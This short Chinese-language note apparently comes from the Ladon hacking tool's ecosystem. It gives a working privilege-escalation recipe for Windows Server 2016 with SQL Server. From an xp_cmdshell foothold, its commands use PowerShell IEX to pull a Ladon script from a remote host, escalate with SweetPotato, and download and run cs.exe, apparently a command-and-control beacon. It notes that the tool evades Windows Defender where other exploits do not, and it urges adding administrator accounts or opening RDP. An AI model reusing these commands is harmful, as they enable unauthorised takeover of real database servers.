Windows Server 2016
SQL: 13.0.1601.5
Microsoft Windows [Version 10.0.14393]
网上找了些LPE,发现直接被Defender杀,病毒库更新至2021.1.19,Ladon没被杀,管理员UAC权限可通过BypassUac提权
执行SQL查询权限为network service
exec master..xp_cmdshell 'powershell "IEX (New-Object Net.WebClient).DownloadString(''http://xxxxxx.800/Ladon.ps1''); Ladon SweetPotato "whoami""'
exec master..xp_cmdshell 'echo whoami > c:\users\public\test.bat'
可ECHO写入添加管理员用户命令或者开3389等操作(举一反三不要只懂WHOAMI)
exec master..xp_cmdshell 'powershell "IEX (New-Object Net.WebClient).DownloadString(''http://xxxx:800/Ladon.ps1''); Ladon SweetPotato "c:\users\public\test.bat""'
exec master..xp_cmdshell 'powershell "IEX (New-Object Net.WebClient).DownloadString(''http://xxxx:800/Ladon.ps1''); Ladon wget http://k8gege.org/cs.exe"'
exec master..xp_cmdshell 'powershell "IEX (New-Object Net.WebClient).DownloadString(''http://xxxx:800/Ladon.ps1''); Ladon SweetPotato "c:\users\public\cs.exe""'
最新版本:https://k8gege.org/Download
历史版本: https://github.com/k8gege/Ladon/releases